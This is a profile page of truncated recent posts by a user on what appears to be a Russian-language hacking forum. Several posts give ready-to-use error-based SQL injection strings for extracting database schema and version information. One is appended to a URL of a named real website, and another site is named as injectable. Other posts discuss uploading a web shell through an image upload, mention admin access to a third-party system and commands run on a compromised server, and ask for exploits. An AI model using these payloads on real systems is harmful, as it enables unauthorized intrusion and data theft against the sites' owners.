Recent Content by asiaman

del×

1'and(1)=(select*from(select*from(information_schema.tables`a`)JOIN(information_schema.tables`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c)='1 1060:...

delete

Подскажите, кто-нибудь пользовался данной багой? Если наглядный пример использования?...

Вопрос следующего плана: заливка шелла через картинку. Скрипт только переименовывает файлы в порядковый_номер.jpg Изменить расширение не...

от части. оператор like - это смысловой оператор. но с грехом по пополам - можно работать. хотя, я посмотрю. где-то увидел интересный шаблон, там...

tnx а как Вам такая реализация? 1'or(ExtractValue(1,concat(0x3a,(select(concat(tab le_schema,'.',table_name))from(information_schema....

Про ф-цию ExtractValue, спасибо. Она работает в старших версиях. Но вот в...

http://allinstyle.ru/?index.php'or(select*from(select(name_const(versio n(),1)),name_const(version(),1))a)and(1)='1...

У меня вот это никак не крутится ни руками, ни софтом. Там вообще есть что-нибудь? http://develop.belta.by/{тут инъекция, видно через ОПЕРУ}...

Господа, может кто сталкивался с этой системой: apisic web - написана на jsp. сервак вин2к. база оракл. есть доступ в админку. Сайт разраба....

Ну есть. Нужна инфа? Стукни в личку. Но это не майл.ру. Там с безопасностью построже в разы ;). Но с гуглом не сравиниться конечно же.

iptables и ipconfig не выполняются на серваке :mad:

можно ссыль, плиз, на сам сплойт. ветку простмотрел всю тут и там. ничего не слышал + то что Вы скинули, там сплойты 1996-2004 годов....

думаю, что там нет :mad: